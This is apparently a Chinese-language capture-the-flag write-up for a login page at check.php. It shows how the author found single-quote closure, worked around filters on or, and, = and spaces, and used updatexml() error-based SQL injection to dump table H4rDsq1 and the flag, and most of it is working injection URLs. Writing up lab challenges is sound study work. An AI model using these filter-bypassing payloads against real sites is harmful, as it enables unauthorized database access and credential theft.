还是同一个页面。
先看看后台用什么闭合的:
用户名:1
密码:1'
可知后台为单引号闭合。
试试万能密码登录:
用户名:1' or 1=1#
密码:123
常规sql注入发现成这样了。
然后发现order by 和 union 都不行,后台有过滤。经在登录框中尝试,发现过滤了and、or、= 空格 union /**/
等多个sql关键字
过滤了or我们可以用^、||绕过;过滤了and我们可以用&&绕过;过滤了空格我们可以用括号()或
/**/
绕过
我们尝试报错注入,
先尝试group by配合floor()的报错:
/check.php?username=1' union select count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a%23&password=123
发现不行,因为后台本来就过滤了union:
没关系,用来报错注入的函数还有很多,比如updatexml()、extractvalue()(原理各不相同,但是思路均是认为构造数据库的错误)
则:
像这种登录框的sql语句就只有两个查询字段。
暴库:
/check.php?username=1' or updatexml(1,concat('~',(select database()),'~'),1)%23&password=123
发现不行,可能这题还过滤了空格
那我们就配合括号来操作吧,也就是把每个sql语句中的关键字都当做函数来用:
/check.php?username=1'^updatexml(1,concat('~',(select(database())),'~'),1)%23&password=123
@用" ^ “来连接函数,形成异或” or ",concat(0x7e,(select(database())))中因为有了括号,所以就不用再有空格了。@
或者直接这样,不用select,只借助括号:
/check.php?username=admin'or(updatexml(1,concat('~',database(),'~'),1))%23&password=123
爆表:(等号=被过滤了嘛,所以用like)
/check.php?username=1'or(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),'~'),1))%23&password=123
或
/check.php?username=1'^updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),'~'),1)%23&password=123
爆字段
/check.php?username=-1'^updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),'~'),1)%23&password=123
#或者:/check.php?username=-1'^updatexml(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),1)%23&password=123
发现不用concat()函数也可以
报数据:
/check.php?username=-1'^updatexml(1,concat('~',(select(group_concat(username,password))from(H4rDsq1)),'~'),1)%23&password=123
得到了一部分flag:。
有一个思路是
substr过滤了不能用。另外一个骚操作left()或right()进行拼接。
right()返回最右侧的n个字符的字符串str,或NULL如果任何参数是NULL。
left()返回最左侧的n个字符的字符串str。
最后的payload:
/check.php?username=-1'^updatexml(1,concat('~',(select(right(password,30))from(H4rDsq1)),'~'),1)%23&password=123
拼起来得到flag:
flag{a6b3099b-88e9-47a8-9e1c-f2233485b591}